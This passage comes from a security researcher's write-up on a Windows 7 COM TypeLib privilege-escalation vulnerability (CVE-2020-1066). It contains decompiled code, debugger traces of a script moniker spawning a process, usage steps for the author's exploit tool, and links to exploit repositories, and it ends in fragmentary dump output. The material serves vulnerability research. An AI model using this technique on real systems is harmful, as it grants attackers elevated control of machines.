|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
Cada TypeLib pode ser uma estrutura TypeLib aninhada, e carregar uma TypeLib aninhada também chama recursivamente LoadTypeLibEx. Para métodos específicos de construção, consulte o código da ferramenta de exploração e a API oficial da Microsoft. Dessa forma, ao carregar recursivamente uma TypeLib, é possível especificar um caminho de arquivo TypeLib inexistente, que será analisado como um Moniker através do DisplayName do Moniker. Aqui, é usado o Script Monike, ou seja, o arquivo de script script:xxx.sct. Finalmente, o Script Moniker é analisado, acionando BindToObject, e inicia o Shell com a autoridade do chamador via desserialização Unmarshal. O princípio é o seguinte:``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...
Ver imagem maior
Em comparação com o Process Monitor, a seguir estão os resultados de depuração do processo criado pelo Script Moniker.```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
Meu método de teste da ferramenta de exploração de vulnerabilidades é o seguinte, precisa executar como administrador.``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### Resultado da execução ####
Abaixo está o resultado da execução do meu exp, como mostrado na figura:
#### Projetos relacionados ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Projeto de decompilação do serviço Windows CardSpace](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[Meu projeto de engenharia reversa ole32](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[Minha ferramenta de exploração de vulnerabilidades](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[Ferramenta de links simbólicos](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### Referências relacionadas ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### Contribuições ####
Autor da ZheJiang Guoli Security Technology, email: [email protected]
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 000000000371f310 000000000378aaf8 000000000391dd00 000007fe0391df50 000000000378aaf8 000000000391dd90 000007fe03715ea0 000000000391e618 0000113b0391dde0 000007fe00000000 0000000000000000 000000000391de80 000007fe0378aaf8 0000000000000001 000000000391deb0 000007fe0378aaf8 000000000365efb0 000000180391df30 000007fe037daf90 000007fe001cf840 000007fe0391dfd0 000007fe00000002 000000000391db00 000000000391e0b0 000007fe0363fdd4 0000000000000001 000000000391e120 000007fe00000000 000000000391e618 000000000391e190 000007fe0391e340 000007fe0391e4f0 000000000391e1d0 000007fe00000020 000007fe0391e618 000007fe0391e240 000007fe0391e9b0 000007fe0391e9b0 000007fe0391e860 000007fe00000000 000000000391ec60 000000000391e8c0 000007fe00000000 00000000fb63a201 000000000391e8f0 000007fe0023e760 00000000036ce6a0 000007fe0391e960 000007fe0023e760 000000000023e760 000000000391ea10 000007fe00000000 00000018037958a0 000000000391eba0 000007fed0908070 0000000001d93e30 000000000391ec10 000007fe037daf90 0000000003715ff0 000000000391eda0 000007feff6c9930 00000000037241b0 000007fe0391ee40 000007feff670ab0 000000000391f0b0 000007fe0391ee70 000007fe0378a970 000000000391f194 000000000391ef90 000007fe00000000 000000000391f0b0 000000000391efd0 000007fe0378a970 000000000378a970 000007fe0391f050 0000000000000000 0000000000000000 00000000feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000